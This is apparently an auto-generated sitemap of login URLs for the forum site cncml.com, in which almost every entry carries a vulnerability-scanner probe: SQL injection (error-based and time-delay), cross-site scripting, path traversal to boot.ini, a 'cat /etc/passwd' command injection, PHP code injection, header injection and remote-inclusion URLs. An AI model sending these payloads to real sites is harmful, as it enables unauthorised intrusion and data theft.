http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging);%20IF(31=19)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging);%20IF(98=98)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logging6633x3X6 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=loggingAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=loggingJyI%3D 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=loggingalert(42873) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=logginge360 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=phpinfo 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=set%7Cset&set 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%3Cdir 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(11=88)%20THEN%200x6C6F6767696E67%20ELSE%2011*(SELECT%2011%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(16=61)%20THEN%200x6C6F6767696E67%20ELSE%2016*(SELECT%2016%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%200x6C6F6767696E67%20ELSE%2029*(SELECT%2029%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(57=15)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%200x6C6F6767696E67%20ELSE%2078*(SELECT%2078%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(82=28)%20THEN%200x6C6F6767696E67%20ELSE%2082*(SELECT%2082%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(82=81)%20THEN%200x6C6F6767696E67%20ELSE%2082*(SELECT%2082%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20(CASE%20WHEN%20(92=92)%20THEN%200x6C6F6767696E67%20ELSE%2092*(SELECT%2092%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=................windowswin.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=ELT(14=91,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=ELT(55=55,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=MAKE_SET(11=71,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=MAKE_SET(64=64,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=dir 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging 0.0020 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%00' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=62)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%22%20AND%20%22qk%22=%22bI 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%22)%20AND%2037=23%20AND%20(%22Kx%22=%22Kx 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25%22%29%20AND%2046%3D11%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25%27%29%20AND%2017%3D91%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25%27%29%20AND%2046%3D46%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25%27%29%20AND%2049%3D11%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25%27%29%20AND%2089%3D89%20AND%201%20like%28%27%25 0.0001 